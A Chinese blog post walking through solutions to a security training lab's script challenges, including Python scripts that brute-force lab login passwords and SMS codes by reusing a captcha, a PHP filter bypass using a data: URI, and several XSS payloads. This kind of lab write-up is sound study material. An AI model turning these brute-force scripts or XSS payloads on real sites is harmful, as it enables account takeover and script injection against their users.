首页 > 其他 > 详细

网络安全实验室——脚本关通关记录

时间:2020-10-31 23:56:28      阅读:32      评论:0      收藏:0      [点我收藏+]

网络安全实验室——脚本关

第一关

bp抓包,send直接获得key yougotit_script_now

第二关

明显需要写脚本,源代码如下

import requests
from lxml import etree
import re
import urllib.parse
from bs4 import BeautifulSoup
# print(response.read().decode(‘utf-8‘))
url = ‘http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php‘
s = requests.session()
response = s.get(url)
print(response.text)
caculate = str(re.findall(‘(.*?)=<input type="text" name="v"/>‘,response.text))
caculate = caculate.split()[1].split(‘\‘‘)[0]
caculate = eval(caculate)
data = {"v": caculate}
a = s.post(url, data=data).content.decode(‘utf-8‘)
print(a)

获得key 123iohHKHJ%^&*(jkh

第三关

题目提示什么才是空的?

明显空就是null

第四关

查看页面源代码,发现js部分代码有问题

技术分享图片

随后将其复制到本地,按照下图修改之后在本地运行

技术分享图片

技术分享图片

输入key 的时候,去除开头的chars

第五关

尝试抓包,发现同一个验证码可以多次登录,因此保持session不变强行爆破password,源代码如下:

import re
import requests
s=requests.session()
url = "http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php"
head = {‘cookie‘: ‘PHPSESSID=828c96a699987493ec6c55fab5795f63‘}
for num in range(1000,10000):
  data = {‘username‘:‘admin‘,
          ‘pwd‘:num,
          ‘vcode‘:‘C8Qc‘,
          ‘submit‘:‘submit‘}
  res=s.post(url,data=data,headers=head).content.decode(‘utf-8‘)
  if ‘pwd error‘ in res:
      print (‘ pwd error‘)
  if ‘vcode error‘ in res:
      print(‘vcode error‘)
  if ‘error‘ not in res:
      print(num)
      print(res)
      break

获得登录密码1238

key is LJLJL789sdf#@sd

第六关

直接将第五关的代码中vcode参数值修改为‘‘,即可

获得密码1228

key is LJLJL789ss33fasvxcvsdf#@sd

第七关

和第五关类似,不多说

第八关

点击“源代码”查看页面源代码

技术分享图片

可以看见其笑脸符号是(●‘?‘●)

而其参数名称是^_^

且其中包含各种绕过:

1.必须对^^赋值 2.参数中不能有 . % [0-9] http https ftp telnet 这些东西 3.^^输入的值)这个字符串不能有 _ 这个字符(与1矛盾) 4.^_^必须是文件 5.file_exists ($GET[‘^^’])必须为0.也就是$GET[‘^^’]此文件不在本地存在 6.file_get_contents($*GET[‘^^])必须为”(●’?’●)” 仔细分析可以发现,第3点与第1点矛盾了,既要对”^^”赋值,又得想办法去掉”^^”中的””,那么可以采用Url编码变为”%5f”.这样第3点就满足了.所以我们输入就应该为”^%5f^”.继续分析第2点,这个地方把 http https ftp telnet 这些给过滤了,而第6点又要通过file_get_contents()取出$GET[‘^^’]里的值.而根据第5点,$GET[‘^^’]又必须不存在.所以$GET[‘^^’]只能是字符串”(●’?’●)”,不可能是文件名.那么file_get_contents()里的参数应该是啥呢.查了一下,发现data://完美符合.所以我们输入就应该为”^%5f^=data:,(●’?’●)” 另外对于3绕过还有方法:在URL中和.等价所以参数为^.^

而赋值时不可有下划线,所以使用%5f代替

技术分享图片

获得key hkjasfhsa*&IUHKUH

data协议

技术分享图片

Data URI 的格式十分简单,如下所示: data:[<mime type>][;charset=<charset>][;base64],<encoded data> 第一部分是 data: 协议头,它标识这个内容为一个 data URI 资源。 第二部分是 MIME 类型,表示这串内容的展现方式,比如:text/plain,则以文本类型展示,image/jpeg,以 jpeg 图片形式展示,同样,客户端也会以这个 MIME 类型来解析数据。 第三部分是编码设置,默认编码是 charset=US-ASCII, 即数据部分的每个字符都会自动编码为 %xx

第九关

直接测试可以发现弹出的验证码可以直接用于登录账号13388886667

key is LJLJLGod!@@sd

第十关

直接爆破,源代码如下:

import requests
s=requests.session()
url = "http://lab1.xseclab.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/login.php"
head = {‘cookie‘: ‘PHPSESSID=403d7d5c26f7ce9c3d319907de81cb76‘}
for num in range(100, 1000):
  data = {‘username‘:‘13388886666‘,
          ‘vcode‘:str(num),
          ‘submit‘:‘submit‘}
  res=s.post(url,data=data,headers=head).content.decode(‘utf-8‘)
  if res != ‘vcode or username error‘:
      print(res)
      break

并没有直接获得key

技术分享图片

将得到的手机号以同样的方式进行爆破

得到key LKK8*(!@@sd

第十一关

未成功

第十二关

点击子系统后点击题目登录,之后进入index.php界面

查看页面源代码,之后点击进入xss_check.php

技术分享图片

可以看见alert(HackingLab),提交

<script>alert(HackingLab)</script>

即可得到key is: myxssteststart!

第十三关

可以发现和上一关类似,但是提交相同的脚本会被检测出来

于是换一种方式,提交

<img src=# onerror=alert(HackingLab) />

得到key is: xss2test2you

第十四关

通过测试可以看到,页面过滤了大部分标签包括但不限于< <img > <script>

经过测试,发现仅有当value=‘alert‘的时候才不会被过滤,发现使用单引号闭合之后可以使单引号之前的内容显示出来

alert‘ οnmοuseοver=‘alert(HackingLab)   #onmouseover:鼠标位于其上方时触发事件

可以触发事件

得到key is: xss3test2youOK_striptag

第十五关

暂时做不出来

网络安全实验室——脚本关通关记录

原文:https://www.cnblogs.com/yyy-fff/p/13906969.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!